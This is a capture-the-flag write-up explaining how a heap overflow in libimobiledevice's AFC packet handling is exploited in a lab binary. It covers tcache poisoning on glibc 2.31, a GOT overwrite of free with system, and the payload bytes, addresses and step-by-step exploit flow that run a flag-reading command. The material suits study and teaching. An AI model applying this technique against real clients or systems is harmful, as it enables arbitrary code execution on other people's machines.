Summary
The challenge gives us an AFC client (afc_list) that expects to talk to an Apple device. In this service, the remote peer controls the "device" side of the protocol. That is the key idea: the vulnerable binary is the client, but we fully control every AFC response it receives.
The bug is in libimobiledevice's AFC receive path. An AFC packet has two length fields, entire_length and this_length. The library allocates a heap buffer from entire_length - 0x28, but it reads this_length - 0x28 bytes into that buffer. If we reply with this_length > entire_length, we get a controlled heap overflow.
The target runs glibc 2.31, where tcache does not use safe-linking yet. The main binary is No PIE and Partial RELRO, so the PLT GOT is writable and located at fixed addresses. The exploit uses tcache poisoning to make a small strdup() write the address of system() into free@got. After that, the program's normal cleanup calls free(ptr), which has become system(ptr), executing:
/readflag sekai ppp
Relevant files
src/afc_list.c: interactive wrapper around the reallibimobiledeviceAFC API.afc_list: main challenge binary, compiled without PIE.libc.so.6: provided glibc 2.31.Dockerfile: builds the Ubuntu 20.04 environment and installsreadflag.hook.sh: changes the nsjail configuration to allow SUID and disable ASLR.xpl1.py: final exploit.
Mitigations
checksec on afc_list:
Arch: amd64
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
The important points are:
Partial RELRO:.got.pltremains writable.No PIE: addresses such asfree@gotare fixed.
The jail hook is also critical:
persona_addr_no_randomize: true
disable_no_new_privs: true
nosuid:false
This makes the memory layout deterministic and allows the SUID /readflag helper to work.
AFC packet format
Every AFC packet starts with a 0x28-byte header:
typedef struct {
char magic[8]; // "CFA6LPAA"
uint64_t entire_length;
uint64_t this_length;
uint64_t packet_num;
uint64_t operation;
} AFCPacket;
The service exposes a simple text interface:
ls <path>
read <path>
write <path> <data>
...
Internally, those commands call libimobiledevice functions:
afc_read_directory(afc, path, &list);
afc_file_open(afc, path, AFC_FOPEN_RDONLY, &h);
afc_file_read(afc, h, data, sizeof(data), &got);
Those functions send AFC requests to the device. Since we are the device, our exploit receives each request and sends arbitrary AFC responses back.
The vulnerability
The internal AFC receive logic effectively behaves like this:
body_size_alloc = header.entire_length - 0x28;
body_size_read = header.this_length - 0x28;
buf = malloc(body_size_alloc);
service_receive(conn, buf, body_size_read);
If we send:
entire_length = 0x28 + 8
this_length = 0x28 + 0x28
the library allocates 8 bytes but reads 0x28 bytes. On glibc, malloc(8) returns a 0x20-sized chunk. Writing 0x28 bytes from the user pointer lets us overwrite metadata and the fd pointer of the next chunk.
The core primitive is:
poison = b"P" * 0x18
poison += p64(0x21) # keep the next chunk as a valid 0x20 chunk
poison += p64(FREE_GOT) # poisoned fd
Why tcache poisoning works
The challenge uses Ubuntu glibc 2.31. In this version, tcache stores raw forward pointers; safe-linking was not added yet. Therefore, if a tcache bin contains:
A -> B -> C
and we overwrite B->fd = free@got, future allocations behave as:
A -> B -> free@got
After enough small allocations, malloc() or strdup() can return a pointer directly into free@got. When that happens, the copy performed by strdup() becomes a GOT write.
Initial grooming
The exploit starts with a controlled ls / response:
groom = b"A" * 8 + b"\x00" + b"B" * 8 + b"\x00" + b"C" * 8
self.ls_response(groom)
This creates two visible directory entries:
AAAAAAAA
BBBBBBBB
The important part is the heap side effect:
- the raw AFC data buffer is small and lands in a 0x30 chunk;
- the parsed pointer vector lands in a 0x20 chunk;
- each
strdup()of the two entries also lands in a 0x20 chunk; free_list()then frees everything in reverse order.
After this grooming step, tcache's 0x20 bin contains 3 predictable chunks. We need exactly this shape because the final trigger will consume:
- one chunk for the list pointer vector;
- one chunk for
strdup("/readflag sekai ppp"); - the poisoned allocation that returns
free@got.
Poisoning tcache
The exploit uses the command read /x to reach afc_file_read().
First, it answers afc_file_open() with a fake file handle:
self.respond(packet, p64(1), op=OP_FILE_OPEN_RES)
Then it answers afc_file_read() with the malformed packet:
poison = b"P" * 0x18 + p64(0x21) + p64(FREE_GOT)
self.respond(packet, poison, entire=0x28 + 8, this=0x28 + len(poison))
The effect is:
malloc(8)takes the first 0x20 tcache chunk;- the overflow reaches the next free chunk;
- that next chunk's
fdbecomes0x404070, which isfree@got; - when the read buffer is freed, it is pushed back at the head of tcache.
Conceptually:
tcache[0x20] = A -> B -> free@got
Overwriting free@got
The target address is:
free@got = 0x404070
The system() address in the local jail is fixed because ASLR is disabled:
libc base = 0x7ffff7d65000
system = libc base + 0x52290
system = 0x7ffff7db7290
The final payload is another ls / response:
payload = b"/readflag sekai ppp\x00"
payload += p64(SYSTEM)[:6] + b"\x00"
Why only 6 bytes of the pointer? In x86-64 userspace, the top two bytes of this canonical address are zero. Writing 6 bytes plus the NUL terminator is enough to form the correct pointer, while avoiding extra NUL bytes that would create unwanted list entries.
During final list parsing:
- the pointer vector consumes
A; strdup("/readflag sekai ppp")consumesB;strdup(system_bytes)returnsfree@got;strdup()copies thesystem()bytes intofree@got.
At this point:
free(ptr) == system(ptr)
Execution trigger
The program triggers code execution by itself.
After printing a directory listing, afc_list cleans it up:
static void free_list(char **list, int n)
{
for (int i = n - 1; i >= 0; i--) free(list[i]);
free(list);
}
Since free@got now points to system(), this becomes:
system(list[i]);
The reverse free order causes a few invalid shell commands before/after the useful one. That does not matter. The important call is:
system("/readflag sekai ppp")
The output looks like this:
/readflag sekai ppp
<system pointer bytes>
sh: 1: <garbage>: not found
SEKAI{REDACTED}
sh: 1: <garbage>: not found
afc>
The exploit extracts the flag with:
rb"SEKAI\{[^}\n]*\}"
Full exploit flow
- Connect to the service.
- Wait for the
afc>prompt. - Send
ls /to prepare 0x20 tcache chunks. - Send
read /x. - Reply to
afc_file_open()with a fake handle. - Reply to
afc_file_read()withentire_length < this_lengthto overflow. - Overwrite the
fdof a free chunk withfree@got. - Complete the read command with an empty AFC response.
- Send the final
ls /. - Make
strdup()writesystem()intofree@got. - Let
free_list()execute/readflag sekai ppp. - Parse the flag from stdout.
Running it
Local:
./xpl1.py local
Remote:
./xpl1.py remote HOST PORT
The local mode uses:
127.0.0.1:5000
Final notes
The exploit relies on three environment properties:
- glibc 2.31 without safe-linking;
- ASLR disabled by the nsjail hook;
- writable
.got.pltdue to Partial RELRO.
Without disabled ASLR, we would need a libc leak before writing system(). With Full RELRO, the GOT overwrite route would not work. With safe-linking, the tcache poisoning would need the correct pointer encoding or a separate heap leak.